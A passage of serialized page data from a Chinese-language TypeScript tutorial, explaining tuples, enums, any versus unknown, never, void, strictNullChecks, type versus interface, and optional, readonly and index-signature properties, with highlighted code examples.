顺序错了也报错\n",[22,97215,97216,97244,97281,97285,97319],{"__ignoreMap":314},[331,97217,97218,97220,97222,97224,97226,97228,97230,97232,97234,97236,97238,97240,97242],{"class":333,"line":334},[331,97219,18926],{"class":616},[331,97221,10160],{"class":337},[331,97223,1180],{"class":616},[331,97225,96507],{"class":344},[331,97227,63408],{"class":337},[331,97229,518],{"class":616},[331,97231,1108],{"class":337},[331,97233,7993],{"class":344},[331,97235,409],{"class":337},[331,97237,9292],{"class":344},[331,97239,409],{"class":337},[331,97241,351],{"class":344},[331,97243,1268],{"class":337},[331,97245,97246,97248,97251,97253,97256,97258,97260,97262,97264,97266,97268,97270,97272,97274,97276,97278],{"class":333,"line":341},[331,97247,18926],{"class":616},[331,97249,97250],{"class":337}," list2",[331,97252,1180],{"class":616},[331,97254,97255],{"class":501}," Array",[331,97257,510],{"class":337},[331,97259,62821],{"class":344},[331,97261,26860],{"class":337},[331,97263,518],{"class":616},[331,97265,1108],{"class":337},[331,97267,7993],{"class":344},[331,97269,409],{"class":337},[331,97271,9292],{"class":344},[331,97273,409],{"class":337},[331,97275,351],{"class":344},[331,97277,65782],{"class":337},[331,97279,97280],{"class":1003},"\u002F\u002F 完全等价\n",[331,97282,97283],{"class":333,"line":357},[331,97284,998],{"emptyLinePlaceholder":997},[331,97286,97287,97289,97292,97294,97296,97298,97300,97302,97304,97306,97308,97310,97312,97314,97316],{"class":333,"line":371},[331,97288,18926],{"class":616},[331,97290,97291],{"class":337}," pair",[331,97293,1180],{"class":616},[331,97295,1108],{"class":337},[331,97297,8909],{"class":344},[331,97299,409],{"class":337},[331,97301,62821],{"class":344},[331,97303,1114],{"class":337},[331,97305,518],{"class":616},[331,97307,1108],{"class":337},[331,97309,7999],{"class":365},[331,97311,409],{"class":337},[331,97313,7993],{"class":344},[331,97315,67196],{"class":337},[331,97317,97318],{"class":1003},"\u002F\u002F 元组：位置和类型都固定\n",[331,97320,97321,97324,97326,97328,97330,97332,97334,97337],{"class":333,"line":384},[331,97322,97323],{"class":337},"pair ",[331,97325,518],{"class":616},[331,97327,1108],{"class":337},[331,97329,7993],{"class":344},[331,97331,409],{"class":337},[331,97333,7999],{"class":365},[331,97335,97336],{"class":337},"]                        ",[331,97338,97339],{"class":1003},"\u002F\u002F ✗ 顺序错了也报错\n",[11,97341,97342,97343,97346,97347,97350],{},"元组（tuple）是「长度和各位置类型都写死」的数组，常用于函数一次返回多个值、或表示定长的键值对。长度可变时还有可选元组元素 ",[22,97344,97345],{},"[string, number?]"," 和展开元组 ",[22,97348,97349],{},"[...T[], string]","，用得不多，知道有即可。",[53,97352,97354,97355,97357],{"id":97353},"枚举enum-与它的运行时代价","枚举：",[22,97356,39459],{}," 与它的运行时代价",[11,97359,97360,97361,97364,97365,97367],{},"枚举是 TS 里少见的",[17,97362,97363],{},"真的会往 JS 里生成代码","的特性（第七章会看到别的类型都被擦除，",[22,97366,39459],{}," 恰恰不会）。它给一组常量起名字：",[308,97369,97371],{"className":5205,"code":97370,"language":5207,"meta":314,"style":314},"enum Direction { Up = 0, Down = 1, Left = 2, Right = 3 }\nconst d = Direction.Up     \u002F\u002F 0\nDirection[0]               \u002F\u002F 'Up'——反向映射：数字也能查回名字\n",[22,97372,97373,97418,97432],{"__ignoreMap":314},[331,97374,97375,97377,97380,97382,97385,97387,97389,97391,97394,97396,97398,97400,97403,97405,97407,97409,97412,97414,97416],{"class":333,"line":334},[331,97376,39459],{"class":616},[331,97378,97379],{"class":501}," Direction",[331,97381,605],{"class":337},[331,97383,97384],{"class":344},"Up",[331,97386,957],{"class":616},[331,97388,680],{"class":344},[331,97390,409],{"class":337},[331,97392,97393],{"class":344},"Down",[331,97395,957],{"class":616},[331,97397,30777],{"class":344},[331,97399,409],{"class":337},[331,97401,97402],{"class":344},"Left",[331,97404,957],{"class":616},[331,97406,18023],{"class":344},[331,97408,409],{"class":337},[331,97410,97411],{"class":344},"Right",[331,97413,957],{"class":616},[331,97415,59421],{"class":344},[331,97417,9413],{"class":337},[331,97419,97420,97422,97424,97426,97429],{"class":333,"line":341},[331,97421,951],{"class":616},[331,97423,79959],{"class":344},[331,97425,957],{"class":616},[331,97427,97428],{"class":337}," Direction.Up     ",[331,97430,97431],{"class":1003},"\u002F\u002F 0\n",[331,97433,97434,97437,97439,97442],{"class":333,"line":357},[331,97435,97436],{"class":337},"Direction[",[331,97438,628],{"class":344},[331,97440,97441],{"class":337},"]               ",[331,97443,97444],{"class":1003},"\u002F\u002F 'Up'——反向映射：数字也能查回名字\n",[11,97446,97447,97448,97450,97451,97454,97455,97458,97459,97461,97462,97465,97466,97468],{},"正因为 ",[22,97449,39459],{}," 会编译成一个真实的对象，它有",[17,97452,97453],{},"运行时成本","：体积、反查、还有 ",[22,97456,97457],{},"const enum"," 那种「编译期直接内联成数字、不留对象」的特例（第十七章会讲 ",[22,97460,97457],{}," 在打包工具下的一系列坑）。实践中很多团队宁可用「联合字面量 + ",[22,97463,97464],{},"as const"," 对象」替代 ",[22,97467,39459],{},"，因为后者零运行时开销、还能享受字面量窄化：",[308,97470,97472],{"className":5205,"code":97471,"language":5207,"meta":314,"style":314},"const Direction = { Up: 0, Down: 1 } as const\ntype Direction = (typeof Direction)[keyof typeof Direction]   \u002F\u002F 0 | 1\n",[22,97473,97474,97499],{"__ignoreMap":314},[331,97475,97476,97478,97480,97482,97485,97487,97490,97492,97494,97496],{"class":333,"line":334},[331,97477,951],{"class":616},[331,97479,97379],{"class":344},[331,97481,957],{"class":616},[331,97483,97484],{"class":337}," { Up: ",[331,97486,628],{"class":344},[331,97488,97489],{"class":337},", Down: ",[331,97491,7993],{"class":344},[331,97493,2599],{"class":337},[331,97495,73430],{"class":616},[331,97497,97498],{"class":616}," const\n",[331,97500,97501,97503,97505,97507,97509,97511,97514,97517,97519,97522],{"class":333,"line":341},[331,97502,3628],{"class":616},[331,97504,97379],{"class":501},[331,97506,957],{"class":616},[331,97508,1147],{"class":337},[331,97510,62850],{"class":616},[331,97512,97513],{"class":337}," Direction)[",[331,97515,97516],{"class":616},"keyof",[331,97518,25575],{"class":616},[331,97520,97521],{"class":337}," Direction]   ",[331,97523,97524],{"class":1003},"\u002F\u002F 0 | 1\n",[53,97526,97528,97530],{"id":97527},"any逃生舱不是未知类型",[22,97529,96855],{},"：逃生舱，不是「未知类型」",[11,97532,97533,97535,97536,97539,97540,97542,97543,161],{},[22,97534,96855],{}," 的意思是「",[17,97537,97538],{},"关掉这个值上的所有类型检查","」。你想让编译器闭嘴时，写 ",[22,97541,96855],{}," 就行——但代价是：从这一刻起，这个值身上发生的一切错误，编译器都不再提醒你。",[17,97544,97545,97546,97548],{},"用了 ",[22,97547,96855],{},"，你实际上是把这块代码降级回了纯 JS",[308,97550,97552],{"className":5205,"code":97551,"language":5207,"meta":314,"style":314},"let x: any = 'text'\nx = 42\nx.toExponential(2)   \u002F\u002F 合法！any 上什么成员都允许\nx.somethingNotThere  \u002F\u002F 也不报错——这正是危险之处\n",[22,97553,97554,97569,97579,97596],{"__ignoreMap":314},[331,97555,97556,97558,97560,97562,97564,97566],{"class":333,"line":334},[331,97557,18926],{"class":616},[331,97559,63067],{"class":337},[331,97561,1180],{"class":616},[331,97563,9486],{"class":344},[331,97565,957],{"class":616},[331,97567,97568],{"class":365}," 'text'\n",[331,97570,97571,97574,97576],{"class":333,"line":341},[331,97572,97573],{"class":337},"x ",[331,97575,518],{"class":616},[331,97577,97578],{"class":344}," 42\n",[331,97580,97581,97584,97587,97589,97591,97593],{"class":333,"line":357},[331,97582,97583],{"class":337},"x.",[331,97585,97586],{"class":501},"toExponential",[331,97588,966],{"class":337},[331,97590,9292],{"class":344},[331,97592,62134],{"class":337},[331,97594,97595],{"class":1003},"\u002F\u002F 合法！any 上什么成员都允许\n",[331,97597,97598,97601],{"class":333,"line":371},[331,97599,97600],{"class":337},"x.somethingNotThere  ",[331,97602,97603],{"class":1003},"\u002F\u002F 也不报错——这正是危险之处\n",[11,97605,97606,97608,97609,97612],{},[22,97607,96855],{}," 只该用在「真的还不知道、且急着跑起来」的临时场合，以及迁移老 JS 代码的过渡期。它是",[17,97610,97611],{},"逃生舱","，不该是默认选择。",[53,97614,97616,97618],{"id":97615},"unknown安全的任意值",[22,97617,97142],{},"：安全的任意值",[11,97620,97621,97623,97624,97626],{},[22,97622,97142],{}," 才是「我不知道这是什么类型」的正确表达。它和 ",[22,97625,96855],{}," 的区别，是这一章的核心：",[57,97628,97629,97643],{},[60,97630,97631],{},[63,97632,97633,97635,97639],{},[66,97634],{},[66,97636,97637],{},[22,97638,96855],{},[66,97640,97641],{},[22,97642,97142],{},[79,97644,97645,97658,97669],{},[63,97646,97647,97650,97655],{},[84,97648,97649],{},"能赋给别的类型吗",[84,97651,80205,97652,97654],{},[22,97653,96855],{}," 赋值到哪都不报错，还会传染）",[84,97656,97657],{},"不能（必须先收窄）",[63,97659,97660,97663,97666],{},[84,97661,97662],{},"能直接调用\u002F取属性吗",[84,97664,97665],{},"能（不检查）",[84,97667,97668],{},"不能（报错，逼你判断）",[63,97670,97671,97674,97677],{},[84,97672,97673],{},"定位",[84,97675,97676],{},"逃生舱：关掉检查",[84,97678,97679,97680],{},"类型安全的 ",[22,97681,96855],{},[308,97683,97685],{"className":5205,"code":97684,"language":5207,"meta":314,"style":314},"let u: unknown = 'hello'\nu.toUpperCase()          \u002F\u002F ✗ 报错：unknown 上什么都不能直接做\nconst s: string = u      \u002F\u002F ✗ 报错：unknown 不能赋给 string\nif (typeof u === 'string') {\n  u.toUpperCase()        \u002F\u002F ✓ 收窄后才能用\n}\nconst n: number = u as number   \u002F\u002F 也能用断言强行说它是 number（自担风险）\n",[22,97686,97687,97704,97716,97735,97752,97765,97769],{"__ignoreMap":314},[331,97688,97689,97691,97694,97696,97699,97701],{"class":333,"line":334},[331,97690,18926],{"class":616},[331,97692,97693],{"class":337}," u",[331,97695,1180],{"class":616},[331,97697,97698],{"class":344}," unknown",[331,97700,957],{"class":616},[331,97702,97703],{"class":365}," 'hello'\n",[331,97705,97706,97709,97711,97713],{"class":333,"line":341},[331,97707,97708],{"class":337},"u.",[331,97710,65555],{"class":501},[331,97712,13919],{"class":337},[331,97714,97715],{"class":1003},"\u002F\u002F ✗ 报错：unknown 上什么都不能直接做\n",[331,97717,97718,97720,97723,97725,97727,97729,97732],{"class":333,"line":357},[331,97719,951],{"class":616},[331,97721,97722],{"class":344}," s",[331,97724,1180],{"class":616},[331,97726,96819],{"class":344},[331,97728,957],{"class":616},[331,97730,97731],{"class":337}," u      ",[331,97733,97734],{"class":1003},"\u002F\u002F ✗ 报错：unknown 不能赋给 string\n",[331,97736,97737,97739,97741,97743,97746,97748,97750],{"class":333,"line":371},[331,97738,11541],{"class":616},[331,97740,1147],{"class":337},[331,97742,62850],{"class":616},[331,97744,97745],{"class":337}," u ",[331,97747,2625],{"class":616},[331,97749,25583],{"class":365},[331,97751,2476],{"class":337},[331,97753,97754,97757,97759,97762],{"class":333,"line":384},[331,97755,97756],{"class":337},"  u.",[331,97758,65555],{"class":501},[331,97760,97761],{"class":337},"()        ",[331,97763,97764],{"class":1003},"\u002F\u002F ✓ 收窄后才能用\n",[331,97766,97767],{"class":333,"line":397},[331,97768,459],{"class":337},[331,97770,97771,97773,97775,97777,97779,97781,97783,97785,97787],{"class":333,"line":418},[331,97772,951],{"class":616},[331,97774,28036],{"class":344},[331,97776,1180],{"class":616},[331,97778,96507],{"class":344},[331,97780,957],{"class":616},[331,97782,97745],{"class":337},[331,97784,73430],{"class":616},[331,97786,96507],{"class":344},[331,97788,97789],{"class":1003},"   \u002F\u002F 也能用断言强行说它是 number（自担风险）\n",[11,97791,97792,97793,97795,97796,97798,97799,12247,97802,97804,97805,23069,97807,97809,97810,97813,97814],{},"任何值都能赋给 ",[22,97794,97142],{},"，但 ",[22,97797,97142],{}," 想再往下走得先「验明正身」。TS 4.4 起，",[22,97800,97801],{},"catch (err)",[22,97803,18233],{}," 默认就是 ",[22,97806,97142],{},[22,97808,96855],{},"，逼你去判断捕获到的到底是什么——这是",[17,97811,97812],{},"把不确定性挡在使用点之前","的设计哲学。记住口诀：",[17,97815,97816,97818,97819,97821],{},[22,97817,96855],{}," 是让编译器别管，",[22,97820,97142],{}," 是让编译器管但先别信。",[53,97823,97825,97827],{"id":97824},"never不可能到达",[22,97826,55488],{},"：不可能到达",[11,97829,97830,97832,97833,97836],{},[22,97831,55488],{}," 是「",[17,97834,97835],{},"没有任何值","」的类型，出现在两种地方：",[308,97838,97840],{"className":5205,"code":97839,"language":5207,"meta":314,"style":314},"function fail(msg: string): never {    \u002F\u002F 永不正常返回：要么抛错要么死循环\n  throw new Error(msg)\n}\nfunction loop(): never { while (true) {} }\n\ntype Empty = number & string   \u002F\u002F 交集为空 → never\n",[22,97841,97842,97871,97883,97887,97911,97915],{"__ignoreMap":314},[331,97843,97844,97846,97849,97851,97854,97856,97858,97860,97862,97865,97868],{"class":333,"line":334},[331,97845,3047],{"class":616},[331,97847,97848],{"class":501}," fail",[331,97850,966],{"class":337},[331,97852,97853],{"class":2472},"msg",[331,97855,1180],{"class":616},[331,97857,96819],{"class":344},[331,97859,1351],{"class":337},[331,97861,1180],{"class":616},[331,97863,97864],{"class":344}," never",[331,97866,97867],{"class":337}," {    ",[331,97869,97870],{"class":1003},"\u002F\u002F 永不正常返回：要么抛错要么死循环\n",[331,97872,97873,97876,97878,97880],{"class":333,"line":341},[331,97874,97875],{"class":616},"  throw",[331,97877,1214],{"class":616},[331,97879,1217],{"class":501},[331,97881,97882],{"class":337},"(msg)\n",[331,97884,97885],{"class":333,"line":357},[331,97886,459],{"class":337},[331,97888,97889,97891,97894,97896,97898,97900,97902,97904,97906,97908],{"class":333,"line":371},[331,97890,3047],{"class":616},[331,97892,97893],{"class":501}," loop",[331,97895,68453],{"class":337},[331,97897,1180],{"class":616},[331,97899,97864],{"class":344},[331,97901,605],{"class":337},[331,97903,18920],{"class":616},[331,97905,1147],{"class":337},[331,97907,1131],{"class":344},[331,97909,97910],{"class":337},") {} }\n",[331,97912,97913],{"class":333,"line":384},[331,97914,998],{"emptyLinePlaceholder":997},[331,97916,97917,97919,97922,97924,97926,97928,97930],{"class":333,"line":397},[331,97918,3628],{"class":616},[331,97920,97921],{"class":501}," Empty",[331,97923,957],{"class":616},[331,97925,96507],{"class":344},[331,97927,82282],{"class":616},[331,97929,96819],{"class":344},[331,97931,97932],{"class":1003},"   \u002F\u002F 交集为空 → never\n",[11,97934,97935,97937,97938,97941,97942,97944],{},[22,97936,55488],{}," 最重要的用法在第五章——",[17,97939,97940],{},"穷尽检查","：当联合类型的所有分支都被处理完，剩下的分支应当是 ",[22,97943,55488],{},"，一旦哪天加了新分支没处理，编译器就会在这里报错。它是 TS 里少数「用来验证你写全了」的机制。",[53,97946,97948,1901,97950,5160,97952],{"id":97947},"null-undefined-与-void",[22,97949,5858],{},[22,97951,5872],{},[22,97953,97954],{},"void",[11,97956,97957,97959],{},[22,97958,97954],{}," 表示「没有值」，主要用作函数返回类型，告诉编译器「别指望这里返回东西」：",[308,97961,97963],{"className":5205,"code":97962,"language":5207,"meta":314,"style":314},"function log(msg: string): void {\n  console.log(msg)     \u002F\u002F 没有 return\n}\nlet v: void = undefined   \u002F\u002F void 类型的变量只能装 undefined（严格模式下）\n",[22,97964,97965,97988,98000,98004],{"__ignoreMap":314},[331,97966,97967,97969,97971,97973,97975,97977,97979,97981,97983,97986],{"class":333,"line":334},[331,97968,3047],{"class":616},[331,97970,91230],{"class":501},[331,97972,966],{"class":337},[331,97974,97853],{"class":2472},[331,97976,1180],{"class":616},[331,97978,96819],{"class":344},[331,97980,1351],{"class":337},[331,97982,1180],{"class":616},[331,97984,97985],{"class":344}," void",[331,97987,1100],{"class":337},[331,97989,97990,97992,97994,97997],{"class":333,"line":341},[331,97991,22619],{"class":337},[331,97993,3533],{"class":501},[331,97995,97996],{"class":337},"(msg)     ",[331,97998,97999],{"class":1003},"\u002F\u002F 没有 return\n",[331,98001,98002],{"class":333,"line":357},[331,98003,459],{"class":337},[331,98005,98006,98008,98011,98013,98015,98017,98019],{"class":333,"line":371},[331,98007,18926],{"class":616},[331,98009,98010],{"class":337}," v",[331,98012,1180],{"class":616},[331,98014,97985],{"class":344},[331,98016,957],{"class":616},[331,98018,63400],{"class":344},[331,98020,98021],{"class":1003},"   \u002F\u002F void 类型的变量只能装 undefined（严格模式下）\n",[11,98023,98024,2012,98026,98028,98029,98035,98036,98039,98040,322,98055,98057,98058,98060,98061,98064],{},[22,98025,5858],{},[22,98027,5872],{}," 在",[17,98030,98031,98032],{},"关掉 ",[22,98033,98034],{},"strictNullChecks"," 时可以被赋给任何类型，这是老代码里无数 ",[22,98037,98038],{},"Cannot read property of undefined"," 的根源。",[17,98041,98042,98043,98045,98046,98049,98050,655,98052,98054],{},"打开 ",[22,98044,98034],{},"（属于 ",[22,98047,98048],{},"strict"," 家族，第六章、十六章详谈）后，",[22,98051,5858],{},[22,98053,5872],{}," 从各类型里独立出来",[22,98056,8909],{}," 不再包含 ",[22,98059,5858],{},"，你要表达「可能是空」必须显式写 ",[22,98062,98063],{},"string | null","。这是 TS 最有价值的一条开关——它把「这里会不会是 null」从运行时惊喜变成了编译期契约。",[4748,98066],{"height":42104,"src":98067,"title":98068},"\u002Ftutorials\u002Fts\u002Fdemos\u002F03-basic-types.html","示例 03：基础类型与 any \u002F unknown \u002F never 的边界",[48,98070,98072,98073,5160,98075,98077],{"id":98071},"四对象类型与接口type-与-interface-的差别","四、对象类型与接口：",[22,98074,3628],{},[22,98076,96572],{}," 的差别",[11,98079,98080,98081,2012,98083,98085],{},"JS 教程第十章讲了对象在运行时怎么写；这一章讲 TS 怎么给对象「画形状」。核心是两种描述结构的方式 ",[22,98082,3628],{},[22,98084,96572],{},"，以及围绕对象的四种修饰：可选、只读、索引签名、函数与对象混合。",[53,98087,98089],{"id":98088},"先看清结构相同即类型相同","先看清：结构相同即类型相同",[11,98091,98092,98093,98096],{},"TS 是",[17,98094,98095],{},"结构化类型（structural typing）","——名字不重要，形状重要。两个接口哪怕毫不相干、没继承关系，只要字段对得上，一个就能当另一个用：",[308,98098,98100],{"className":5205,"code":98099,"language":5207,"meta":314,"style":314},"interface Point { x: number; y: number }\nconst p: Point = { x: 1, y: 2, z: 3 }   \u002F\u002F ✗ 报错（多余属性检查，见下）\nfunction use(pt: { x: number }) { \u002F* 只用 x *\u002F }\nuse(p)   \u002F\u002F ✓ 只要 p 至少有 x 就行，不在乎它还有 y\n",[22,98101,98102,98127,98160,98189],{"__ignoreMap":314},[331,98103,98104,98106,98109,98111,98113,98115,98117,98119,98121,98123,98125],{"class":333,"line":334},[331,98105,96572],{"class":616},[331,98107,98108],{"class":501}," Point",[331,98110,605],{"class":337},[331,98112,21547],{"class":2472},[331,98114,1180],{"class":616},[331,98116,96507],{"class":344},[331,98118,620],{"class":337},[331,98120,77009],{"class":2472},[331,98122,1180],{"class":616},[331,98124,96507],{"class":344},[331,98126,9413],{"class":337},[331,98128,98129,98131,98134,98136,98138,98140,98143,98145,98148,98150,98153,98155,98157],{"class":333,"line":341},[331,98130,951],{"class":616},[331,98132,98133],{"class":344}," p",[331,98135,1180],{"class":616},[331,98137,98108],{"class":501},[331,98139,957],{"class":616},[331,98141,98142],{"class":337}," { x: ",[331,98144,7993],{"class":344},[331,98146,98147],{"class":337},", y: ",[331,98149,9292],{"class":344},[331,98151,98152],{"class":337},", z: ",[331,98154,351],{"class":344},[331,98156,5391],{"class":337},[331,98158,98159],{"class":1003},"\u002F\u002F ✗ 报错（多余属性检查，见下）\n",[331,98161,98162,98164,98167,98169,98172,98174,98176,98178,98180,98182,98184,98187],{"class":333,"line":357},[331,98163,3047],{"class":616},[331,98165,98166],{"class":501}," use",[331,98168,966],{"class":337},[331,98170,98171],{"class":2472},"pt",[331,98173,1180],{"class":616},[331,98175,605],{"class":337},[331,98177,21547],{"class":2472},[331,98179,1180],{"class":616},[331,98181,96507],{"class":344},[331,98183,9358],{"class":337},[331,98185,98186],{"class":1003},"\u002F* 只用 x *\u002F",[331,98188,9413],{"class":337},[331,98190,98191,98193,98196],{"class":333,"line":371},[331,98192,14632],{"class":501},[331,98194,98195],{"class":337},"(p)   ",[331,98197,98198],{"class":1003},"\u002F\u002F ✓ 只要 p 至少有 x 就行，不在乎它还有 y\n",[11,98200,98201],{},"这点和第 17 章「假兼容」的坑直接相关：结构化类型很灵活，但会让你以为「这两个类型不同所以不通用」，实际上编译器只看形状。",[53,98203,98205,5160,98207,98209],{"id":98204},"type-与-interface该怎么选",[22,98206,3628],{},[22,98208,96572],{},"：该怎么选",[11,98211,98212],{},"两者大部分场景能互换，差别集中在几条：",[57,98214,98215,98230],{},[60,98216,98217],{},[63,98218,98219,98221,98225],{},[66,98220],{},[66,98222,98223],{},[22,98224,96572],{},[66,98226,98227,98229],{},[22,98228,3628],{},"（类型别名）",[79,98231,98232,98249,98263,98274,98285],{},[63,98233,98234,98237,98243],{},[84,98235,98236],{},"扩展方式",[84,98238,98239,98242],{},[22,98240,98241],{},"extends","，可以继承多个",[84,98244,98245,98246,98248],{},"交叉 ",[22,98247,55024],{},"，也能拼",[63,98250,98251,98254,98260],{},[84,98252,98253],{},"同名声明",[84,98255,98256,98259],{},[17,98257,98258],{},"会自动合并","（声明合并）",[84,98261,98262],{},"同名再定义会报错",[63,98264,98265,98268,98271],{},[84,98266,98267],{},"能表达的范畴",[84,98269,98270],{},"只能描述对象\u002F函数\u002F构造这类「形状」",[84,98272,98273],{},"几乎什么都能：联合、元组、映射类型、条件类型",[63,98275,98276,98279,98282],{},[84,98277,98278],{},"报错信息",[84,98280,98281],{},"通常更简洁",[84,98283,98284],{},"复杂组合时更易读（保留了名字）",[63,98286,98287,98290,98293],{},[84,98288,98289],{},"惯例",[84,98291,98292],{},"描述对象契约、公共 API",[84,98294,98295],{},"需要联合\u002F工具\u002F高级类型时用",[11,98297,98298,98299,98307],{},"一句话经验：",[17,98300,98301,98302,98304,98305],{},"描述一个对象的形状优先 ",[22,98303,96572],{},"；一旦需要联合、映射、条件这类「类型的运算」，只能用 ",[22,98306,3628],{},"。团队里两者都允许即可，不必教条。",[308,98309,98311],{"className":5205,"code":98310,"language":5207,"meta":314,"style":314},"type ID = string | number        \u002F\u002F 联合——interface 做不到\ntype Pair = [number, number]     \u002F\u002F 元组——type 更顺手\ntype Flags = { a: boolean } & { b: boolean }   \u002F\u002F 交叉，等价于 {a:boolean;b:boolean}\n",[22,98312,98313,98331,98354],{"__ignoreMap":314},[331,98314,98315,98317,98320,98322,98324,98326,98328],{"class":333,"line":334},[331,98316,3628],{"class":616},[331,98318,98319],{"class":501}," ID",[331,98321,957],{"class":616},[331,98323,96819],{"class":344},[331,98325,15984],{"class":616},[331,98327,96507],{"class":344},[331,98329,98330],{"class":1003},"        \u002F\u002F 联合——interface 做不到\n",[331,98332,98333,98335,98338,98340,98342,98344,98346,98348,98351],{"class":333,"line":341},[331,98334,3628],{"class":616},[331,98336,98337],{"class":501}," Pair",[331,98339,957],{"class":616},[331,98341,1108],{"class":337},[331,98343,62821],{"class":344},[331,98345,409],{"class":337},[331,98347,62821],{"class":344},[331,98349,98350],{"class":337},"]     ",[331,98352,98353],{"class":1003},"\u002F\u002F 元组——type 更顺手\n",[331,98355,98356,98358,98361,98363,98365,98367,98369,98372,98374,98376,98378,98380,98382,98384,98386],{"class":333,"line":357},[331,98357,3628],{"class":616},[331,98359,98360],{"class":501}," Flags",[331,98362,957],{"class":616},[331,98364,605],{"class":337},[331,98366,30],{"class":2472},[331,98368,1180],{"class":616},[331,98370,98371],{"class":344}," boolean",[331,98373,2599],{"class":337},[331,98375,55024],{"class":616},[331,98377,605],{"class":337},[331,98379,22158],{"class":2472},[331,98381,1180],{"class":616},[331,98383,98371],{"class":344},[331,98385,5391],{"class":337},[331,98387,98388],{"class":1003},"\u002F\u002F 交叉，等价于 {a:boolean;b:boolean}\n",[53,98390,98392,98393],{"id":98391},"可选属性","可选属性 ",[22,98394,1177],{},[11,98396,98397,98398,98400,98401,322],{},"问号表示「这个键可以不存在」，一旦标了 ",[22,98399,1177],{},"，它的类型就自动变成 ",[22,98402,98403],{},"T | undefined",[308,98405,98407],{"className":5205,"code":98406,"language":5207,"meta":314,"style":314},"interface User { name: string; age?: number }\nconst u: User = { name: '阿蓝' }    \u002F\u002F 合法，age 省略\nu.age                               \u002F\u002F number | undefined\nu.age.toFixed(2)                    \u002F\u002F ✗ 报错：可能是 undefined\nu.age?.toFixed(2)                   \u002F\u002F ✓ 可选链（JS 教程第四章的语法，类型上同样有效）\nif (u.age !== undefined) u.age.toFixed(2)   \u002F\u002F ✓ 收窄后能用\n",[22,98408,98409,98434,98456,98464,98482,98499],{"__ignoreMap":314},[331,98410,98411,98413,98415,98417,98419,98421,98423,98425,98427,98430,98432],{"class":333,"line":334},[331,98412,96572],{"class":616},[331,98414,67810],{"class":501},[331,98416,605],{"class":337},[331,98418,1900],{"class":2472},[331,98420,1180],{"class":616},[331,98422,96819],{"class":344},[331,98424,620],{"class":337},[331,98426,67295],{"class":2472},[331,98428,98429],{"class":616},"?:",[331,98431,96507],{"class":344},[331,98433,9413],{"class":337},[331,98435,98436,98438,98440,98442,98444,98446,98448,98450,98453],{"class":333,"line":341},[331,98437,951],{"class":616},[331,98439,97693],{"class":344},[331,98441,1180],{"class":616},[331,98443,67810],{"class":501},[331,98445,957],{"class":616},[331,98447,32312],{"class":337},[331,98449,20599],{"class":365},[331,98451,98452],{"class":337}," }    ",[331,98454,98455],{"class":1003},"\u002F\u002F 合法，age 省略\n",[331,98457,98458,98461],{"class":333,"line":357},[331,98459,98460],{"class":337},"u.age                               ",[331,98462,98463],{"class":1003},"\u002F\u002F number | undefined\n",[331,98465,98466,98469,98472,98474,98476,98479],{"class":333,"line":371},[331,98467,98468],{"class":337},"u.age.",[331,98470,98471],{"class":501},"toFixed",[331,98473,966],{"class":337},[331,98475,9292],{"class":344},[331,98477,98478],{"class":337},")                    ",[331,98480,98481],{"class":1003},"\u002F\u002F ✗ 报错：可能是 undefined\n",[331,98483,98484,98487,98489,98491,98493,98496],{"class":333,"line":384},[331,98485,98486],{"class":337},"u.age?.",[331,98488,98471],{"class":501},[331,98490,966],{"class":337},[331,98492,9292],{"class":344},[331,98494,98495],{"class":337},")                   ",[331,98497,98498],{"class":1003},"\u002F\u002F ✓ 可选链（JS 教程第四章的语法，类型上同样有效）\n",[331,98500,98501,98503,98506,98508,98510,98513,98515,98517,98519,98521],{"class":333,"line":397},[331,98502,11541],{"class":616},[331,98504,98505],{"class":337}," (u.age ",[331,98507,3076],{"class":616},[331,98509,63400],{"class":344},[331,98511,98512],{"class":337},") u.age.",[331,98514,98471],{"class":501},[331,98516,966],{"class":337},[331,98518,9292],{"class":344},[331,98520,62134],{"class":337},[331,98522,98523],{"class":1003},"\u002F\u002F ✓ 收窄后能用\n",[53,98525,98527,98528,5160,98530],{"id":98526},"只读-readonly-与-as-const","只读 ",[22,98529,26123],{},[22,98531,97464],{},[11,98533,98534,98536],{},[22,98535,26123],{}," 让属性只能初始化时赋值一次，之后再改就报错：",[308,98538,98540],{"className":5205,"code":98539,"language":5207,"meta":314,"style":314},"interface Config { readonly api: string }\nconst c: Config = { api: '\u002Fv1' }\nc.api = '\u002Fv2'     \u002F\u002F ✗ 只读属性不能改\n",[22,98541,98542,98561,98581],{"__ignoreMap":314},[331,98543,98544,98546,98549,98551,98553,98555,98557,98559],{"class":333,"line":334},[331,98545,96572],{"class":616},[331,98547,98548],{"class":501}," Config",[331,98550,605],{"class":337},[331,98552,26123],{"class":616},[331,98554,51095],{"class":2472},[331,98556,1180],{"class":616},[331,98558,96819],{"class":344},[331,98560,9413],{"class":337},[331,98562,98563,98565,98567,98569,98571,98573,98576,98579],{"class":333,"line":341},[331,98564,951],{"class":616},[331,98566,67556],{"class":344},[331,98568,1180],{"class":616},[331,98570,98548],{"class":501},[331,98572,957],{"class":616},[331,98574,98575],{"class":337}," { api: ",[331,98577,98578],{"class":365},"'\u002Fv1'",[331,98580,9413],{"class":337},[331,98582,98583,98586,98588,98591],{"class":333,"line":357},[331,98584,98585],{"class":337},"c.api ",[331,98587,518],{"class":616},[331,98589,98590],{"class":365}," '\u002Fv2'",[331,98592,98593],{"class":1003},"     \u002F\u002F ✗ 只读属性不能改\n",[11,98595,98596,98598,98599,98602,98603,98605,98606,98608],{},[22,98597,26123],{}," 是编译期约束，运行时值仍可改（除非 ",[22,98600,98601],{},"Object.freeze","）。第九章会看到 ",[22,98604,97464],{}," 把整个对象所有属性一次性都标成 ",[22,98607,26123],{}," 且窄化成字面量。",[53,98610,98612],{"id":98611},"索引签名描述键不固定的对象","索引签名：描述「键不固定的对象」",[11,98614,98615],{},"当对象的键你说不全（比如一个「字符串映射到数字」的字典），用索引签名：",[308,98617,98619],{"className":5205,"code":98618,"language":5207,"meta":314,"style":314},"interface StringNum { [key: string]: number }\nconst map: StringNum = { a: 1, b: 2 }\nmap.c = 3        \u002F\u002F 合法：任意字符串键 → number\nmap.d = 'x'      \u002F\u002F ✗ 值必须是 number\n\n\u002F\u002F 数字索引：数组本质上就是 { [index: number]: T } 的特例\n",[22,98620,98621,98645,98670,98682,98695,98699],{"__ignoreMap":314},[331,98622,98623,98625,98628,98631,98633,98635,98637,98639,98641,98643],{"class":333,"line":334},[331,98624,96572],{"class":616},[331,98626,98627],{"class":501}," StringNum",[331,98629,98630],{"class":337}," { 